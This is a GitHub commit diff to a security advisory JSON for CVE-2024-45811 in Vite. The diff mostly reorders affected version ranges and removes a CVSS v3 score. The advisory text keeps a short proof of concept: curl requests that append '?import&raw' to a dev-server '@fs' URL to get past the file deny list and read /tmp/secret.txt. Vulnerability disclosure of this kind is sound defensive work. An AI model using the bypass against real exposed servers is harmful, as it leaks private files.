Skip to content

Commit 72875eb

Browse files
committed
1 parent 18c308b commit 72875eb

File tree

1 file changed

+13
-17
lines changed

1 file changed

+13
-17
lines changed

advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json

Lines changed: 13 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,14 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9cwx-2883-4wfx",
4-
"modified": "2024-09-19T18:34:32Z",
4+
"modified": "2024-09-19T18:34:34Z",
55
"published": "2024-09-17T18:44:12Z",
66
"aliases": [
77
"CVE-2024-45811"
88
],
99
"summary": "Vite's `server.fs.deny` is bypassed when using `?import&raw`",
1010
"details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n <body>\n <h1>403 Restricted</h1>\n <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n",
1111
"severity": [
12-
{
13-
"type": "CVSS_V3",
14-
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15-
},
1612
{
1713
"type": "CVSS_V4",
1814
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
@@ -73,14 +69,17 @@
7369
"type": "ECOSYSTEM",
7470
"events": [
7571
{
76-
"introduced": "5.2.0"
72+
"introduced": "4.0.0"
7773
},
7874
{
79-
"fixed": "5.2.14"
75+
"fixed": "4.5.4"
8076
}
8177
]
8278
}
83-
]
79+
],
80+
"database_specific": {
81+
"last_known_affected_version_range": "<= 4.5.3"
82+
}
8483
},
8584
{
8685
"package": {
@@ -92,16 +91,16 @@
9291
"type": "ECOSYSTEM",
9392
"events": [
9493
{
95-
"introduced": "4.0.0"
94+
"introduced": "0"
9695
},
9796
{
98-
"fixed": "4.5.4"
97+
"fixed": "3.2.11"
9998
}
10099
]
101100
}
102101
],
103102
"database_specific": {
104-
"last_known_affected_version_range": "<= 4.5.3"
103+
"last_known_affected_version_range": "<= 3.2.10"
105104
}
106105
},
107106
{
@@ -114,17 +113,14 @@
114113
"type": "ECOSYSTEM",
115114
"events": [
116115
{
117-
"introduced": "0"
116+
"introduced": "5.2.0"
118117
},
119118
{
120-
"fixed": "3.2.11"
119+
"fixed": "5.2.14"
121120
}
122121
]
123122
}
124-
],
125-
"database_specific": {
126-
"last_known_affected_version_range": "<= 3.2.10"
127-
}
123+
]
128124
},
129125
{
130126
"package": {

0 commit comments

Comments
 (0)